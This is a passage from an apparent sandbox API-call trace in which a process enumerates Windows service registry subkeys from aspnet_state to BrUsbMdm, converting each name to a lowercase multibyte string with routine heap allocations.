RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.063] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.063] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.064] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.064] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.064] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0177.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.064] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.065] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.065] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.065] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0177.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.066] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.066] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.066] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.066] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0177.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.067] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.067] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.067] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0177.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.068] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.068] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.068] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.068] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0177.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.069] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0177.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 